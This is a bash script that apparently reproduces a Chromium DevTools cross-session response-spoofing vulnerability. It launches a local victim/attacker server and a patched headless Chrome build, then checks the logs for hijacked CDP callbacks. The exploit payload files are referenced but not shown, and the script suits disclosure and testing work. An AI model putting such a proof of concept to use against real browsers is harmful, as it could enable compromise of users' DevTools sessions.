#!/bin/bash
# Reproduces the DevToolsCDPConnection cross-session response-spoofing
# vulnerability. Requires a chrome binary built with chromium-changes.patch.
set -u

ARTIFACTS="$(cd "$(dirname "$0")" && pwd)"
CHROME="${CHROME:-/chromium/chromium/src/out/asan/chrome}"
PROFILE="$(mktemp -d /tmp/chrome-poc-profile.XXXXXX)"
LOG="$ARTIFACTS/chrome-stderr.log"

# Start the two-port HTTP server (8080 = victim main frame, 8081 = attacker OOPIF).
python3 "$ARTIFACTS/server.py" >/tmp/poc-server.log 2>&1 &
SERVER_PID=$!
sleep 1

echo "[*] server pid=$SERVER_PID, profile=$PROFILE"
echo "[*] launching chrome with --auto-open-devtools-for-tabs ..."

timeout 50 "$CHROME" \
  --no-sandbox \
  --no-first-run --no-default-browser-check --ignore-gpu-blocklist \
  --disable-gpu \
  --ozone-platform=headless \
  --user-data-dir="$PROFILE" \
  --auto-open-devtools-for-tabs \
  --enable-logging=stderr --v=0 \
  http://localhost:8080/poc.html >"$LOG" 2>&1

kill "$SERVER_PID" 2>/dev/null
rm -rf "$PROFILE"

echo ""
echo "===================================================================="
echo " RESULTS  (full log: $LOG)"
echo "===================================================================="
echo ""
echo "## Compromised-renderer activity (spoofed responses sent over Mojo):"
grep "POC-RENDERER\]" "$LOG" | head -3
echo ""
echo "## Cross-session callback resolutions in the DevTools frontend:"
echo "##   (callback issued on session A resolved by message from session B)"
echo ""
grep "POC-FRONTEND.*CROSS-SESSION" "$LOG"
N=$(grep -c "POC-FRONTEND.*CROSS-SESSION" "$LOG")
echo ""
if [ "$N" -gt 0 ]; then
  echo "[+] Vulnerability TRIGGERED: $N cross-session CDP callback hijacks observed."
  exit 0
else
  echo "[-] Vulnerability NOT triggered."
  exit 1
fi